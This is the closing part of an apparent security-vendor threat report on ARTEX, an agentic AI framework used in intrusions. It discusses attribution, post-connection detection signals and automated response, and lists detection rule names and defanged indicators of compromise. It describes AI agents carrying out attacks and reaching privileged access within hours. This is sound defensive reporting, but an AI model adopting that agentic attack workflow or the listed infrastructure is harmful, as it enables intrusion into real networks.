Shared tooling has complicated attribution for years, and ARTEX adds to it because the framework carries out more of the attack, so reconnaissance, exploitation attempts and some post-compromise activity can look the same whoever set the objective. Attribution still needs infrastructure, malware, victimology, timing and the sequence of behavior inside the environment, and an ARTEX link is one input to that. Moreover, the behavior and the agent will still be shaped by the biases, preferences, and tradecraft of its operators.

At its core, ARTEX’s planner and worker agents identify and record facts, while exploring intents. However, the way the Large Language Model (LLM) chooses its next steps toward an objective is shaped fundamentally by the skills and tools available in its context. This includes its starting context, as well as various possible Model Context Protocol (MCP) plugins and user-injected context (e.g. user input mid-operation). Operators still have preferred tradecraft, and this preference shapes the pathways the harness will provide to the LLM in context prompts. Even on the same platform, customization based on operator preferences and goals will remain a key facet of campaign and actor identification.

Detection and response

Across the Darktrace cases, the stronger signals came from behavior after the connection: beaconing, abnormal TLS, reconnaissance, unusual authentication, tunneling, script retrieval, SMB activity and outbound transfer. Automated activity also produced compressed bursts of requests, sequential enumeration and repeated attempts with small changes.

With agentic tools reaching privileged access in under three hours, analysts may have only a short window to connect scanning or authentication activity to credential changes, new administrative access, tooling retrieval or lateral movement. Keeping network, identity and cloud telemetry together shows what happened before and after the first match, and whether a connection was noise or an intrusion moving toward privileged access.

In some of these cases, Darktrace's Autonomous Response took or recommended action against the activity, including blocking internal connectivity over specified ports, inhibiting outbound connections with likely C2 endpoints, and/or disabling SaaS/IaaS user accounts. While many of these recommended actions required human confirmation due to deployment configuration preferences, had these actions been applied autonomously at the time of alert, the scope of activity would have been limited, thereby giving analysts time to investigate and respond.

‍

Figure 7: Autonomous Response blocking suspicious firewall modification activity.

‍

Figure 8: Autonomous Response summary for affected cloud users during the intrusion.

‍

Figure 9: Autonomous Response taking action against unusual lateral movement activity on an affected device.

‍

Figure 10: Autonomous Response summary for affected network users during the time of the intrusion.

ARTEX won’t be the last of these frameworks. The next ones will come with new capabilities and defaults, but an intrusion still must interact with the target environment, and that shows up in how systems, identities and applications behave even after the indicator has aged out. The harder intrusions to catch will have no infrastructure to match, just ordinary API calls and legitimate identities. Detecting those depends on knowing what normal looks like for each identity and device. Containing abnormal activity at machine speed can stop an intrusion progressing while analysts establish impact and its extent. Autonomous Response does not replace that human analysis, but rather augments defender teams' capabilities by extending the window for investigation.

‍

Credit to Nathaniel Jones (SVP, Global Threat Intelligence), Eugene Chua (Principal Analyst), Sam Lister (Senior Security Researcher), Adam Potter (Associate Principal Cyber Analyst)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace model detections

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

·       Anomalous Connection / Rare External SSL Self-Signed

·       Anomalous Connection / Suspicious Self-Signed SSL

·       Compromise / Large Number of Suspicious Successful Connections

·       Compromise / Suspicious Beaconing Behaviour

·       Compromise / Agent Beacon to New Endpoint

·       Compromise / Beacon to Young Endpoint

·       Compromise / SSL Beaconing to Rare Destination

·       Compromise / Suspicious TLS Beaconing To Rare External

·       Compromise / Possible Tunnelling to Bin Services

·       Device / Anomalous Github Download

·       Device / Anomalous Package Download

·       Device / Initial Attack Chain Activity

Indicators of compromise (IoCs)

nginxmysql[.]com

45.153.126[.]223

213.111.150[.]145

wisp-agent

85.11.167[.]52

43.98.196[.]73

192.121.47[.]20

www[.]ddduuuppp[.]com

89.46.234[.]50

sqlserver-sqlite[.]com

199.19.95[.]66

graphics-hook-filter64.dll

graphics-hook_config.bin

References

1.      Google. GTIG AI Threat Tracker - https://cloud.google.com/blog/topics/threat-intelligence/agentic-threat-activity-crosses-a-significant-threshold

2.      Federal Bureau of Investigation, Threat Overview of ARTEX Autonomous Penetration Testing Framework, FLASH-20261113-001, 13 November 2026: https://www.ic3.gov/CSA/2026/261113.pdf

3.      Microsoft Security Blog, Storm-0940 Uses ARTEX Agentic AI in ConnectWise Supply Chain Compromise: https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/

4.      CrowdStrike, VAPOR PANDA Uses ARTEX to Scale Global Campaign: https://www.crowdstrike.com/en-us/blog/vapor-panda-uses-artex-to-scale-global-campaign/

5.      Bitdefender, SilkParasite: Tracking a China-Nexus APT Across Central Asia: https://www.bitdefender.com/en-us/blog/businessinsights/silkparasite-tracking-china-nexus-apt-across-central-asia

‍

‍

Continue reading
About the author
Nathaniel Jones
SVP, Global Threat Intelligence
Your data. Our AI.
Elevate your network security with Darktrace AI